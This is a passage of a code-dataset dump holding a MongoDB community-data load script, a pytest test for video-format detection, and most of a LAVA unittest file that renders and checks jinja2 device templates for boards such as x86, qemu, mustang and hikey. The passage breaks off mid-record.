{\"display_name\": \"Coffee Shops\", \"name\": \"Coffee Shop\", \"plural_name\": \"Coffee Shops\", \"icon\": \"coffee\", \"primary_color\": \"FFFAE7\", \"secondary_color\": \"604A3F\"},\n # {\"display_name\": \"Golf Courses\", \"name\": \"Golf Course\", \"plural_name\": \"Golf Courses\", \"icon\": \"golf-ball\", \"primary_color\": \"004D43\", \"secondary_color\": \"FFFCDF\"},\n # {\"display_name\": \"Movies\", \"name\": \"Movie\", \"plural_name\": \"Movies\", \"icon\": \"clapperboard\", \"primary_color\": \"4808B0\", \"secondary_color\": \"FFFFFF\"},\n # {\"display_name\": \"Beer\", \"name\": \"Beer\", \"plural_name\": \"Beers\", \"icon\": \"wheat-alt\", \"primary_color\": \"20353C\", \"secondary_color\": \"BDA571\"},\n # {\"display_name\": \"Cheese\", \"name\": \"Cheese\", \"plural_name\": \"Cheeses\", \"icon\": \"cheese\", \"primary_color\": \"C21319\", \"secondary_color\": \"F4C13A\"},\n ]\n\n db = client[os.environ.get('MONGO_CLUSTER_NAME')]\n community_coll = db.community\n community_coll.create_index([('name', pymongo.TEXT)])\n existing_communities = {}\n for community in community_coll.find():\n existing_communities[community['name']] = community\n\n for community in communities_to_insert:\n print(community['name'], end=\": \")\n if community['name'] not in existing_communities:\n community_coll.insert_one(community)\n print(\"inserted\")\n else:\n existing_community = existing_communities[community['name']]\n comparison_community = existing_community.copy()\n del comparison_community['_id']\n del comparison_community['created_by_id']\n del comparison_community['created_date']\n del comparison_community['modified_by_id']\n del comparison_community['modified_date']\n if community == comparison_community:\n print(\"no updates needed\")\n else:\n unsetValues = {}\n for key in comparison_community:\n if key not in community:\n unsetValues[key] = \"\"\n\n setValues = {\n \"modified_by_id\": 'bdbef64e-90da-4c9f-b497-3a26e8ce1073',\n \"modified_date\": datetime.datetime.utcnow(),\n }\n\n for key, value in community.items():\n if value != comparison_community.get(key):\n setValues[key] = value\n\n community_coll.find_one_and_update(\n {\"_id\": existing_community['_id']}, {\n \"$set\": setValues,\n \"$unset\": unsetValues,\n },\n upsert=True\n )\n print(\"updated\")\n\n community_member = db.community_member\n community_member.create_index([(\"user_id\", pymongo.ASCENDING), (\"community_id\", pymongo.ASCENDING)], unique=True)\n\n client.close()\n\n\nif __name__ == \"__main__\":\n load_data()\n","repo_name":"everyones-a-critic/communities-service","sub_path":"initial_data_load.py","file_name":"initial_data_load.py","file_ext":"py","file_size_in_byte":4530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27619065879","text":"import os\n\nimport pytest\n\nfrom foto.commands.convert import get_config_key\n\n\nFIXTURES_DIR = os.path.join(os.path.dirname(__file__),\n 'fixtures_video_formats')\n\n\ncases = [\n ('MOV001.3gp', '3gp'),\n ('P1010001.mkv', 'mkv'),\n ('P1160887.MOV', 'mov-panasonic-dmc-fz8'),\n ('IMG_0050.MOV', 'mov-apple-iphone-se'),\n ('trim.649C0C97-4148-45C6-BA3E-5ED42DD055C0.MOV', 'mov-apple-iphone-se'),\n ('2014-07-20 03.35.28.mp4', 'mp4-motorola-xt1069'),\n ('P1030378.MP4', 'mp4-panasonic-dmc-tz80'),\n ('051119_120308.avi', 'avi'),\n]\nfixtures_exist = all([\n os.path.isfile(os.path.join(FIXTURES_DIR, basename))\n for basename, expected in cases\n])\n\n\n@pytest.mark.skipif(not fixtures_exist,\n reason='video fixtures are missing')\n@pytest.mark.parametrize('basename,expected', cases)\ndef test_get_config_key(basename, expected):\n filename = os.path.join(FIXTURES_DIR, basename)\n assert get_config_key(filename) == expected\n","repo_name":"honzajavorek/foto","sub_path":"tests/test_convert.py","file_name":"test_convert.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"26441583074","text":"import os\nimport sys\nimport glob\nimport yaml\nimport jinja2\nimport unittest\nimport logging\nimport tempfile\n# pylint: disable=superfluous-parens,ungrouped-imports\nfrom lava_dispatcher.pipeline.parser import JobParser\nfrom lava_dispatcher.pipeline.device import NewDevice\nfrom lava_scheduler_app.schema import validate_device, SubmissionException\nfrom lava_dispatcher.pipeline.action import Timeout\nfrom lava_dispatcher.pipeline.utils.shell import infrastructure_error\nfrom lava_dispatcher.pipeline.test.utils import DummyLogger\n\n# pylint: disable=too-many-branches,too-many-public-methods\n# pylint: disable=too-many-nested-blocks\n\n\ndef prepare_jinja_template(hostname, jinja_data, system_path=True, path=None):\n string_loader = jinja2.DictLoader({'%s.jinja2' % hostname: jinja_data})\n if not path:\n path = jinja_template_path(system=system_path)\n type_loader = jinja2.FileSystemLoader([os.path.join(path, 'device-types')])\n env = jinja2.Environment(\n loader=jinja2.ChoiceLoader([string_loader, type_loader]),\n trim_blocks=True)\n return env.get_template(\"%s.jinja2\" % hostname)\n\n\ndef jinja_template_path(system=True):\n \"\"\"\n Use the source code for jinja2 templates, e.g. for unit tests\n \"\"\"\n path = '/etc/lava-server/dispatcher-config/'\n if os.path.exists(path) and system:\n return path\n path = os.path.realpath(os.path.join(os.path.dirname(__file__)))\n if not os.path.exists(path):\n raise RuntimeError(\"Misconfiguration of jinja templates\")\n return path\n\n\nclass TestTemplates(unittest.TestCase):\n \"\"\"\n Test rendering of jinja2 templates\n\n When adding or modifying a jinja2 template, add or update the test here.\n Use realistic data - complete exports of the device dictionary preferably.\n Set debug to True to see the content of the rendered templates\n Set system to True to use the system templates - note that this requires\n that the templates in question are in sync with the branch upon which the\n test is run. Therefore, if the templates should be the same, this can be\n used to check that the templates are correct. If there are problems, check\n for a template with a .dpkg-dist extension. Check the diff between the\n checkout and the system file matches the difference between the system file\n and the dpkg-dist version. If the diffs match, copy the dpkg-dist onto the\n system file.\n \"\"\"\n\n debug = False # set to True to see the YAML device config output\n system = False # set to True to debug the system templates\n\n def validate_data(self, hostname, data, job_ctx=None):\n if not job_ctx:\n job_ctx = {}\n test_template = prepare_jinja_template(hostname, data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n if self.debug:\n print('#######')\n print(rendered)\n print('#######')\n try:\n ret = validate_device(yaml.load(rendered))\n except SubmissionException as exc:\n print('#######')\n print(rendered)\n print('#######')\n self.fail(exc)\n return ret\n\n def test_all_templates(self):\n templates = glob.glob(os.path.join(jinja_template_path(system=self.system), 'device-types', '*.jinja2'))\n self.assertNotEqual([], templates)\n for template in templates:\n data = \"{%% extends '%s' %%}\" % os.path.basename(template)\n try:\n self.validate_data('device', data)\n except AssertionError as exc:\n self.fail(\"Template %s failed: %s\" % (os.path.basename(template), exc))\n\n def test_x15_template(self):\n self.assertTrue(self.validate_data('staging-nexus10-01', \"\"\"{% extends 'x15.jinja2' %}\n{% set adb_serial_number = 'R32D300FRYP' %}\n{% set fastboot_serial_number = 'R32D300FRYP' %}\n{% set soft_reboot_command = 'adb -s R32D300FRYP reboot bootloader' %}\n{% set connection_command = 'adb -s R32D300FRYP shell' %}\n{% set device_info = [{'board_id': 'R32D300FRYP'}] %}\n\"\"\"))\n\n def test_armada375_template(self):\n \"\"\"\n Test the armada-375 template as if it was a device dictionary\n \"\"\"\n data = \"\"\"\n{% extends 'base-uboot.jinja2' %}\n{% set console_device = console_device|default('ttyS0') %}\n{% set baud_rate = baud_rate|default(115200) %}\n{% set device_type = \"armada-375-db\" %}\n{% set bootloader_prompt = bootloader_prompt|default('Marvell>>') %}\n{% set bootm_kernel_addr = '0x02080000' %}\n{% set bootm_ramdisk_addr = '0x02880000' %}\n{% set bootm_dtb_addr = '0x02000000' %}\n{% set base_ip_args = 'ip=dhcp' %}\n{% set uboot_mkimage_arch = 'arm' %}\n{% set append_dtb = true %}\n{% set use_xip = true %}\n{% set uboot_bootx_cmd = \"bootm {KERNEL_ADDR} {RAMDISK_ADDR}\" %}\n \"\"\"\n self.assertTrue(self.validate_data('armada-375-01', data))\n test_template = prepare_jinja_template('armada-375-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n params = template_dict['actions']['deploy']['parameters']\n self.assertIsNotNone(params)\n self.assertIn('use_xip', params)\n self.assertIn('append_dtb', params)\n self.assertTrue(params['use_xip'])\n self.assertTrue(params['append_dtb'])\n params = template_dict['actions']['boot']['methods']['u-boot']['ramdisk']['commands']\n for line in params:\n if 'run loadkernel' in line:\n self.assertIn('bootm', line)\n\n def test_nexus10_template(self):\n self.assertTrue(self.validate_data('staging-nexus10-01', \"\"\"{% extends 'nexus10.jinja2' %}\n{% set adb_serial_number = 'R32D300FRYP' %}\n{% set fastboot_serial_number = 'R32D300FRYP' %}\n{% set soft_reboot_command = 'adb -s R32D300FRYP reboot bootloader' %}\n{% set connection_command = 'adb -s R32D300FRYP shell' %}\n{% set device_info = [{'board_id': 'R32D300FRYP'}] %}\n\"\"\"))\n\n def test_x86_template(self):\n data = \"\"\"{% extends 'x86.jinja2' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command off' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command reboot' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command on' %}\n{% set connection_command = 'telnet localhost 7302' %}\"\"\"\n self.assertTrue(self.validate_data('staging-x86-01', data))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n for _, value in template_dict['actions']['boot']['methods']['ipxe'].items():\n if 'commands' in value:\n for item in value['commands']:\n self.assertFalse(item.endswith(','))\n depth = 0\n # check configured commands blocks for trailing commas inherited from JSON V1 configuration.\n # reduce does not help as the top level dictionary also contains lists, integers and strings\n for _, action_value in template_dict['actions'].items():\n if 'methods' in action_value:\n depth = 1 if depth < 1 else depth\n for _, method_value in action_value.items():\n depth = 2 if depth < 2 else depth\n for item_key, item_value in method_value.items():\n depth = 3 if depth < 3 else depth\n if isinstance(item_value, dict):\n depth = 4 if depth < 4 else depth\n for _, command_value in method_value[item_key].items():\n depth = 5 if depth < 5 else depth\n if isinstance(command_value, dict):\n depth = 6 if depth < 6 else depth\n if 'commands' in command_value:\n depth = 7 if depth < 7 else depth\n for item in command_value['commands']:\n depth = 8 if depth < 8 else depth\n if item.endswith(','):\n self.fail(\"%s ends with a comma\" % item)\n self.assertEqual(depth, 8)\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n job_ctx = {}\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n\n self.assertIsNotNone(template_dict['actions']['boot']['methods']['ipxe']['nfs']['commands'])\n\n self.assertIsNotNone(template_dict['timeouts']['connections']['bootloader-commands'])\n self.assertEqual(template_dict['timeouts']['connections']['bootloader-commands']['minutes'], 5)\n\n # uses default value from template\n self.assertEqual(500, template_dict['character_delays']['boot'])\n\n # override template in job context\n job_ctx = {'boot_character_delay': 150}\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n self.assertEqual(150, template_dict['character_delays']['boot'])\n\n # add device dictionary override\n # overrides the template default\n data += \"\"\"{% set boot_character_delay = 400 %}\"\"\"\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n job_ctx = {}\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n self.assertEqual(400, template_dict['character_delays']['boot'])\n\n # job context does not override device dictionary\n job_ctx = {'boot_character_delay': 150}\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n self.assertNotEqual(150, template_dict['character_delays']['boot'])\n self.assertEqual(400, template_dict['character_delays']['boot'])\n\n def test_x86_interface_template(self):\n # test boot interface override\n data = \"\"\"{% extends 'x86.jinja2' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command off' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command reboot' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command on' %}\n{% set connection_command = 'telnet localhost 7302' %}\"\"\"\n self.assertTrue(self.validate_data('staging-x86-01', data))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n for _, value in template_dict['actions']['boot']['methods']['ipxe'].items():\n if 'commands' in value:\n self.assertIn('dhcp net0', value['commands'])\n self.assertNotIn('dhcp net1', value['commands'])\n # test boot interface override\n data = \"\"\"{% extends 'x86.jinja2' %}\n{% set boot_interface = 'net1' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command off' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command reboot' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon localhost --port 02 --hostname lngpdu01 --command on' %}\n{% set connection_command = 'telnet localhost 7302' %}\"\"\"\n self.assertTrue(self.validate_data('staging-x86-01', data))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n for _, value in template_dict['actions']['boot']['methods']['ipxe'].items():\n if 'commands' in value:\n self.assertIn('dhcp net1', value['commands'])\n self.assertNotIn('dhcp net0', value['commands'])\n\n def test_beaglebone_black_template(self):\n data = \"\"\"{% extends 'beaglebone-black.jinja2' %}\n{% set map = {'eth0': {'lngswitch03': 19}, 'eth1': {'lngswitch03': 8}} %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon localhost --hostname lngpdu01 --command reboot --port 19' %}\n{% set tags = {'eth0': ['1G', '100M'], 'eth1': ['100M']} %}\n{% set interfaces = ['eth0', 'eth1'] %}\n{% set sysfs = {'eth0': '/sys/devices/platform/ocp/4a100000.ethernet/net/eth0',\n'eth1': '/sys/devices/platform/ocp/47400000.usb/47401c00.usb/musb-hdrc.1.auto/usb1/1-1/1-1:1.0/net/eth1'} %}\n{% set power_off_command = '/usr/bin/pduclient --daemon localhost --hostname lngpdu01 --command off --port 19' %}\n{% set mac_addr = {'eth0': '90:59:af:5e:69:fd', 'eth1': '00:e0:4c:53:44:58'} %}\n{% set power_on_command = '/usr/bin/pduclient --daemon localhost --hostname lngpdu01 --command on --port 19' %}\n{% set connection_command = 'telnet localhost 7333' %}\n{% set exclusive = 'True' %}\"\"\"\n self.assertTrue(self.validate_data('staging-bbb-01', data))\n test_template = prepare_jinja_template('staging-bbb-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict['actions']['deploy']['methods']['ssh']['host'])\n self.assertEqual('', template_dict['actions']['deploy']['methods']['ssh']['host'])\n self.assertNotEqual('None', template_dict['actions']['deploy']['methods']['ssh']['host'])\n data += \"{% set ssh_host = '192.168.0.10' %}\"\n test_template = prepare_jinja_template('staging-bbb-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict['actions']['deploy']['methods']['ssh']['host'])\n self.assertEqual('192.168.0.10', template_dict['actions']['deploy']['methods']['ssh']['host'])\n\n def test_b2260_template(self):\n data = \"\"\"{% extends 'b2260.jinja2' %}\"\"\"\n self.assertTrue(self.validate_data('staging-b2260-01', data))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertEqual({'seconds': 15}, template_dict['timeouts']['actions']['power-off'])\n\n def test_qemu_template(self):\n data = \"\"\"{% extends 'qemu.jinja2' %}\n{% set exclusive = 'True' %}\n{% set mac_addr = 'DE:AD:BE:EF:28:01' %}\n{% set memory = 512 %}\"\"\"\n job_ctx = {'arch': 'amd64', 'no_kvm': True}\n self.assertTrue(self.validate_data('staging-x86-01', data, job_ctx))\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n options = template_dict['actions']['boot']['methods']['qemu']['parameters']['options']\n self.assertNotIn('-enable-kvm', options)\n job_ctx = {'arch': 'amd64', 'no_kvm': False}\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n options = template_dict['actions']['boot']['methods']['qemu']['parameters']['options']\n self.assertIn('-enable-kvm', options)\n\n def test_qemu_installer(self):\n data = \"\"\"{% extends 'qemu.jinja2' %}\n{% set exclusive = 'True' %}\n{% set mac_addr = 'DE:AD:BE:EF:28:01' %}\n{% set memory = 512 %}\"\"\"\n job_ctx = {'arch': 'amd64'}\n test_template = prepare_jinja_template('staging-qemu-01', data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n template_dict = yaml.load(rendered)\n self.assertEqual(\n 'c',\n template_dict['actions']['boot']['methods']['qemu']['parameters']['boot_options']['boot_order']\n )\n\n def test_mustang_template(self):\n data = \"\"\"{% extends 'mustang.jinja2' %}\n{% set connection_command = 'telnet serial4 7012' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command reboot --port 05' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command off --port 05' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command on --port 05' %}\"\"\"\n self.assertTrue(self.validate_data('staging-mustang-01', data))\n test_template = prepare_jinja_template('staging-mustang-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsInstance(template_dict['parameters']['text_offset'], str)\n commands = template_dict['actions']['boot']['methods']['u-boot']['ramdisk']['commands']\n for line in commands:\n if 'setenv initrd_high' in line:\n self.fail('Mustang should not have initrd_high set')\n if 'setenv fdt_high' in line:\n self.fail('Mustang should not have fdt_high set')\n\n def test_mustang_pxe_grub_efi_template(self):\n data = \"\"\"{% extends 'mustang-grub-efi.jinja2' %}\n{% set exclusive = 'True' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command reboot --port 05' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command off --port 05' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command on --port 05' %}\n{% set connection_command = 'telnet localhost 7012' %}\"\"\"\n self.assertTrue(self.validate_data('staging-mustang-01', data))\n test_template = prepare_jinja_template('staging-mustang-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIn('uefi-menu', template_dict['actions']['boot']['methods'])\n self.assertIn('pxe-grub', template_dict['actions']['boot']['methods']['uefi-menu'])\n self.assertNotIn('grub', template_dict['actions']['boot']['methods']['uefi-menu'])\n # label class regex is mangled by jinja/yaml processing\n self.assertNotIn('label_class', template_dict['actions']['boot']['methods']['uefi-menu']['parameters'])\n self.assertIn('grub-efi', template_dict['actions']['boot']['methods'])\n self.assertIn('menu_options', template_dict['actions']['boot']['methods']['grub-efi'])\n self.assertEqual(template_dict['actions']['boot']['methods']['grub-efi']['menu_options'], 'pxe-grub')\n self.assertIn('ramdisk', template_dict['actions']['boot']['methods']['grub-efi'])\n self.assertIn('commands', template_dict['actions']['boot']['methods']['grub-efi']['ramdisk'])\n self.assertIn('nfs', template_dict['actions']['boot']['methods']['grub-efi'])\n self.assertIn('commands', template_dict['actions']['boot']['methods']['grub-efi']['nfs'])\n nfs_commands = template_dict['actions']['boot']['methods']['grub-efi']['nfs']['commands']\n self.assertNotIn('insmod efinet', nfs_commands)\n self.assertNotIn('net_bootp', nfs_commands)\n\n def test_mustang_grub_efi_template(self):\n data = \"\"\"{% extends 'mustang-grub-efi.jinja2' %}\n{% set exclusive = 'True' %}\n{% set grub_efi_method = 'grub' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command reboot --port 05' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command off --port 05' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon services --hostname pdu09 --command on --port 05' %}\n{% set connection_command = 'telnet localhost 7012' %}\"\"\"\n self.assertTrue(self.validate_data('staging-mustang-01', data))\n test_template = prepare_jinja_template('staging-mustang-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIn('uefi-menu', template_dict['actions']['boot']['methods'])\n self.assertNotIn('pxe-grub', template_dict['actions']['boot']['methods']['uefi-menu'])\n self.assertIn('grub', template_dict['actions']['boot']['methods']['uefi-menu'])\n self.assertEqual(template_dict['actions']['boot']['methods']['grub-efi']['menu_options'], 'grub')\n self.assertIn('ramdisk', template_dict['actions']['boot']['methods']['grub-efi'])\n self.assertIn('commands', template_dict['actions']['boot']['methods']['grub-efi']['ramdisk'])\n self.assertIn('nfs', template_dict['actions']['boot']['methods']['grub-efi'])\n self.assertIn('commands', template_dict['actions']['boot']['methods']['grub-efi']['nfs'])\n nfs_commands = template_dict['actions']['boot']['methods']['grub-efi']['nfs']['commands']\n self.assertIn('insmod efinet', nfs_commands)\n self.assertIn('net_bootp', nfs_commands)\n\n def test_hikey_template(self):\n with open(os.path.join(os.path.dirname(__file__), 'devices', 'hi6220-hikey-01.jinja2')) as hikey:\n data = hikey.read()\n self.assertIsNotNone(data)\n self.assertTrue(self.validate_data('hi6220-hikey-01', data))\n test_template = prepare_jinja_template('staging-hikey-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict)\n self.assertIsInstance(template_dict['device_info'], list)\n self.assertEqual(template_dict['device_info'][0]['board_id'],\n '0123456789')\n self.assertIsInstance(template_dict['fastboot_options'], list)\n self.assertEqual(template_dict['fastboot_options'], ['-S', '256M'])\n order = template_dict['flash_cmds_order']\n self.assertEqual(0, order.index('ptable'))\n self.assertEqual(1, order.index('fastboot'))\n self.assertIn('cache', order)\n self.assertIn('system', order)\n self.assertIn('userdata', order)\n\n # test support for retreiving MAC from device.\n data += \"{% set device_mac = '00:E0:4C:53:44:58' %}\"\n self.assertTrue(self.validate_data('hi6220-hikey-01', data))\n test_template = prepare_jinja_template('staging-hikey-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIn('parameters', template_dict)\n self.assertIn('interfaces', template_dict['parameters'])\n self.assertIn('target', template_dict['parameters']['interfaces'])\n self.assertIn('mac', template_dict['parameters']['interfaces']['target'])\n self.assertIn('ip', template_dict['parameters']['interfaces']['target'])\n self.assertIsNotNone(template_dict['parameters']['interfaces']['target']['mac'])\n self.assertNotEqual('', template_dict['parameters']['interfaces']['target']['mac'])\n self.assertIsNone(template_dict['parameters']['interfaces']['target']['ip'])\n\n def test_panda_template(self):\n logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n logger = logging.getLogger('unittests')\n logger.disabled = True\n logger.propagate = False\n data = \"\"\"{% extends 'panda.jinja2' %}\n{% set connection_command = 'telnet serial4 7012' %}\n{% set hard_reset_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command reboot --port 05' %}\n{% set power_off_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command off --port 05' %}\n{% set power_on_command = '/usr/bin/pduclient --daemon staging-master --hostname pdu15 --command on --port 05' %}\"\"\"\n self.assertTrue(self.validate_data('staging-panda-01', data))\n context = {'extra_kernel_args': 'intel_mmio=on mmio=on'}\n test_template = prepare_jinja_template('staging-panda-01', data, system_path=self.system)\n rendered = test_template.render(**context)\n template_dict = yaml.load(rendered)\n self.assertEqual('panda', (template_dict['device_type']))\n self.assertIn('bootloader-commands', template_dict['timeouts']['actions'])\n self.assertEqual(180.0, Timeout.parse(template_dict['timeouts']['actions']['bootloader-commands']))\n commands = template_dict['actions']['boot']['methods']['u-boot']['ramdisk']['commands']\n checked = False\n self.assertIsNotNone(commands)\n self.assertIsInstance(commands, list)\n self.assertIn('usb start', commands)\n for line in commands:\n if 'setenv bootargs' in line:\n self.assertIn('console=ttyO2', line)\n self.assertIn(' ' + context['extra_kernel_args'] + ' ', line)\n checked = True\n self.assertTrue(checked)\n checked = False\n for line in commands:\n if 'setenv initrd_high' in line:\n checked = True\n self.assertTrue(checked)\n\n def test_juno_uboot_template(self):\n data = \"\"\"{% extends 'juno-uboot.jinja2' %}\n{% set connection_command = 'telnet serial4 7001' %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu18 --command reboot --port 10 --delay 10' %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu18 --command off --port 10 --delay 10' %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu18 --command on --port 10 --delay 10' %}\n{% set usb_label = 'SanDiskCruzerBlade' %}\n{% set usb_uuid = 'usb-SanDisk_Cruzer_Blade_20060266531DA442AD42-0:0' %}\n{% set usb_device_id = 0 %}\n{% set nfs_uboot_bootcmd = (\n\" - setenv bootcmd 'dhcp; setenv serverip {SERVER_IP}; run loadkernel; run loadinitrd; run loadfdt; {BOOTX}'\n - boot\") %}\"\"\"\n self.assertTrue(self.validate_data('staging-juno-01', data))\n test_template = prepare_jinja_template('staging-juno-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict)\n\n def test_cubietruck_template(self):\n data = \"\"\"{% extends 'cubietruck.jinja2' %}\n{% set usb_label = 'SanDisk_Ultra' %}\n{% set sata_label = 'ST160LM003' %}\n{% set usb_uuid = \"usb-SanDisk_Ultra_20060775320F43006019-0:0\" %}\n{% set sata_uuid = \"ata-ST160LM003_HN-M160MBB_S2SYJ9KC102184\" %}\n{% set connection_command = 'telnet localhost 6002' %}\n{% set console_device = 'ttyfake1' %}\"\"\"\n self.assertTrue(self.validate_data('staging-cubietruck-01', data))\n test_template = prepare_jinja_template('staging-cubietruck-01', data, system_path=self.system)\n rendered = test_template.render()\n template_dict = yaml.load(rendered)\n self.assertIsNotNone(template_dict)\n self.assertIn('u-boot', template_dict['actions']['boot']['methods'])\n self.assertIn('SanDisk_Ultra', template_dict['parameters']['media']['usb'])\n self.assertEqual(template_dict['parameters']['media']['usb']['SanDisk_Ultra']['device_id'], 0)\n self.assertEqual(template_dict['parameters']['media']['usb']['SanDisk_Ultra']['uuid'],\n 'usb-SanDisk_Ultra_20060775320F43006019-0:0')\n self.assertIn('ST160LM003', template_dict['parameters']['media']['sata'])\n self.assertIn('uboot_interface', template_dict['parameters']['media']['sata']['ST160LM003'])\n self.assertEqual('scsi', template_dict['parameters']['media']['sata']['ST160LM003']['uboot_interface'])\n self.assertIn('uuid', template_dict['parameters']['media']['sata']['ST160LM003'])\n self.assertIn('ata-ST160LM003_HN-M160MBB_S2SYJ9KC102184',\n template_dict['parameters']['media']['sata']['ST160LM003']['uuid'])\n self.assertIn('ssh', template_dict['actions']['boot']['methods'])\n\n def test_qemu_cortex_a57(self):\n data = \"\"\"{% extends 'qemu.jinja2' %}\n{% set memory = 2048 %}\n{% set mac_addr = '52:54:00:12:34:59' %}\n{% set arch = 'arm64' %}\n{% set base_guest_fs_size = 2048 %}\n \"\"\"\n job_ctx = {\n 'arch': 'amd64',\n 'boot_root': '/dev/vda',\n 'extra_options': ['-global', 'virtio-blk-device.scsi=off', '-smp', 1, '-device', 'virtio-scsi-device,id=scsi']\n }\n self.assertTrue(self.validate_data('staging-qemu-01', data))\n test_template = prepare_jinja_template('staging-juno-01', data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n self.assertIsNotNone(rendered)\n template_dict = yaml.load(rendered)\n options = template_dict['actions']['boot']['methods']['qemu']['parameters']['options']\n self.assertIn('-cpu cortex-a57', options)\n self.assertNotIn('-global', options)\n extra = template_dict['actions']['boot']['methods']['qemu']['parameters']['extra']\n self.assertIn('-global', extra)\n self.assertNotIn('-cpu cortex-a57', extra)\n options.extend(extra)\n self.assertIn('-global', options)\n self.assertIn('-cpu cortex-a57', options)\n\n def test_qemu_cortex_a57_nfs(self):\n data = \"\"\"{% extends 'qemu.jinja2' %}\n{% set memory = 2048 %}\n{% set mac_addr = '52:54:00:12:34:59' %}\n{% set arch = 'arm64' %}\n{% set base_guest_fs_size = 2048 %}\n \"\"\"\n job_ctx = {\n 'arch': 'amd64',\n 'qemu_method': 'qemu-nfs',\n 'netdevice': 'tap',\n 'extra_options': ['-smp', 1]\n }\n self.assertTrue(self.validate_data('staging-qemu-01', data))\n test_template = prepare_jinja_template('staging-juno-01', data, system_path=self.system)\n rendered = test_template.render(**job_ctx)\n self.assertIsNotNone(rendered)\n template_dict = yaml.load(rendered)\n self.assertIn('qemu-nfs', template_dict['actions']['boot']['methods'])\n params = template_dict['actions']['boot']['methods']['qemu-nfs']['parameters']\n self.assertIn('command', params)\n self.assertEqual(params['command'], 'qemu-system-aarch64')\n self.assertIn('options', params)\n self.assertIn('-cpu cortex-a57', params['options'])\n self.assertEqual('qemu-system-aarch64', params['command'])\n self.assertIn('-smp', params['extra'])\n self.assertIn('append', params)\n self.assertIn('nfsrootargs', params['append'])\n self.assertEqual(params['append']['root'], '/dev/nfs')\n self.assertEqual(params['append']['console'], 'ttyAMA0')\n\n def test_overdrive_template(self):\n data = \"\"\"{% extends 'overdrive.jinja2' %}\n{% set connection_command = 'telnet serial4 7001' %}\n{% set hard_reset_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu18 --command reboot --port 10 --delay 10' %}\n{% set power_off_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu18 --command off --port 10 --delay 10' %}\n{% set power_on_command = '/usr/local/lab-scripts/snmp_pdu_control --hostname pdu18 --command on --port 10 --delay 10' %}\n{% set map = {'iface0': {'lngswitch03': 13}, 'iface1': {'lngswitch03': 1}, 'iface2': {'lngswitch02': 9}, 'iface3': 